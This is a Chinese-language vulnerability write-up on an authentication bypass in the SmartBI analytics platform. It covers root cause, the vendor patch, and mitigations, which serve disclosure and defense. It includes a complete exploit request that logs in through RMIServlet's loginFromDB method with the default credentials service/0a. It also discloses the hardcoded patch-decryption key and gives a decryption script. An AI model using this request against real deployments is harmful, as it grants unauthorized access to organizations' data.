某企业级商业智能大数据分析平台登录绕过分析
字数 1349 2025-08-06 08:34:49
SmartBI 身份认证绕过漏洞分析与防御教学文档
1. 漏洞概述
本文档详细分析SmartBI企业级商业智能大数据分析平台中的一个身份认证绕过漏洞,该漏洞允许攻击者通过特定接口使用默认账户和密码直接登录系统,而常规登录方式则无法使用这些凭证。
2. 漏洞复现
2.1 攻击步骤
- 发送以下POST请求:
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6,ja-JP;q=0.5,ja;q=0.4,und;q=0.3
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Cookie: FQPassword=; FQConfigLogined=; JSESSIONID=8960DCEA022820DBAE4F00B72BF64FC6;
Origin: http://127.0.0.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
className=UserService&methodName=loginFromDB¶ms=["service","0a"]
- 直接访问以下URL即可登录成功:
http://127.0.0.1:18080/smartbi/vision/index.jsp
3. 漏洞分析
3.1 漏洞入口点
漏洞存在于/smartbi/vision/RMIServlet接口,该接口通过反射机制调用指定类和方法:
- 在
web.xml中配置了RMIServlet处理该路径 doPost方法接收三个参数:className: 要调用的类名(本例为UserService)methodName: 要调用的方法名(本例为loginFromDB)params: 方法参数(本例为["service","0a"])
3.2 认证机制分析
3.2.1 正常登录流程
- 前端使用字符替换算法加密请求数据
- 调用
UserService.clickLogin方法 - 最终调用
loginDB(username, password)进行认证 - 密码验证逻辑:
- 以
2开头:明文对比 - 以
1开头:DES加密后对比 - 以
0开头:MD5加密后对比
- 以
3.2.2 漏洞利用流程
- 直接调用
UserService.loginFromDB方法 - 该方法直接比较数据库中的密码与用户输入
- 数据库中存在三个默认账户:
- 用户名:
service - 密码:
0a
- 用户名:
- 由于绕过密码加密验证逻辑,直接比较
0a与数据库值匹配
3.3 漏洞根本原因
- 认证逻辑不一致:
loginFromDB方法绕过正常密码加密验证流程 - 默认账户存在:系统内置了三个使用
0a作为密码的账户 - 接口暴露:
RMIServlet接口未对敏感方法进行访问控制
4. 漏洞修复分析
4.1 官方补丁机制
- 补丁文件使用AES/CBC/PKCS5Padding加密
- 解密密钥:
1234567812345678 - IV向量:
1234567812345678
4.2 补丁内容
补丁主要做了以下修复:
- 对
UserService.loginFromDB方法进行拒绝访问处理 - 实现
RejectRMIPatchRule类:patchRMI方法直接返回1- 继承自
RMIServletPatchRule,其patch方法调用patchRMI
PatchFilter加载所有安全补丁:- 调用
patch方法 - 如果返回
1则返回403禁止访问
- 调用
5. 防御措施
5.1 临时缓解方案
- 禁用
RMIServlet接口或限制其访问 - 修改默认账户密码或删除默认账户
5.2 长期解决方案
- 升级到官方最新版本
- 实施以下安全措施:
- 统一认证逻辑,避免多路径认证
- 删除或修改所有默认凭证
- 对敏感接口实施访问控制
- 实现完善的日志记录和监控
5.3 安全开发建议
- 避免在代码中硬编码认证逻辑
- 对所有认证路径实施相同的安全控制
- 避免暴露不必要的反射接口
- 实施最小权限原则
6. 附录
6.1 前端加密算法实现(Python)
#coding:utf-8
codeArray = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,0,0,0,47,0,110,65,69,115,43,0,102,113,37,55,49,117,78,75,74,77,57,39,109,123,0,0,0,0,0,0,79,86,116,84,97,120,72,114,99,118,108,56,70,51,111,76,89,106,87,42,122,90,33,66,41,85,93,0,91,0,121,0,40,126,105,104,112,95,45,73,82,46,71,83,100,54,119,53,48,52,68,107,81,103,98,67,50,88,58,0,0,101,0]
encodeArray = {}
decodeArray = {}
for i, c in enumerate(codeArray):
if c:
ic = chr(i)
encodeArray[ic] = chr(c)
decodeArray[chr(c)] = ic
# 加密函数
def encrypt(data):
en_data = ''
for j in data:
try:
e = encodeArray[j]
except:
e = j
en_data += e
return en_data
# 解密函数
def decrypt(data):
de_data = ''
for j in data:
try:
d = decodeArray[j]
except:
d = j
de_data += d
return de_data
6.2 补丁解密脚本(Python)
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def aes_decrypt(ciphertext, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(ciphertext)
return unpad(decrypted_data, AES.block_size)
key = b"1234567812345678"
iv = b"1234567812345678"
with open('patch.patches') as f:
base64_ciphertext = f.read()
ciphertext = base64.b64decode(base64_ciphertext)
plaintext = aes_decrypt(ciphertext, key, iv)
output_file = "patch.jar"
with open(output_file, "wb") as file:
file.write(plaintext)